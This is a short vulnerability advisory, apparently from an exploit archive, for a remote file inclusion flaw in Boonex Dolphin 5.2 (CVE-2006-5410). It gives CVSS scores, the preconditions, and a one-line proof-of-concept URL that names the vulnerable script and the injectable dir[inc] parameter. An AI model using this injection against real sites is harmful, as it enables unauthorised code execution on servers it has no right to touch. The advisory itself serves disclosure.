Boonex Dolphin 5.2 Remote File Inclusion

2006.10.20

Credit: w4ck1ng.com

Risk: High

Local: No

Remote: Yes

CVE: CVE-2006-5410

CWE: CWE-Other

CVSS Base Score: 5.1/10

Impact Subscore: 6.4/10

Exploitability Subscore: 4.9/10

Exploit range: Remote

Attack complexity: High

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

/****************************************/
http://www.w4cking.com
CREDIT:
w4ck1ng.com
PRODUCT:
Boonex Dolphin 5.2
http://www.boonex.com/products/dolphin/
VULNERABILITY:
Remote File Inclusion
NOTES:
- requires register globals on
- requires magic quotes off
POC:
<host>/<path>/templates/tmpl_dfl/scripts/index.php?dir[inc]=<local/remot
efile>
ADVISORY & EXPLOIT (requires registration):
http://w4ck1ng.com/board/showthread.php?t=1490
/****************************************/

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Boonex Dolphin 5.2 Remote File Inclusion

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.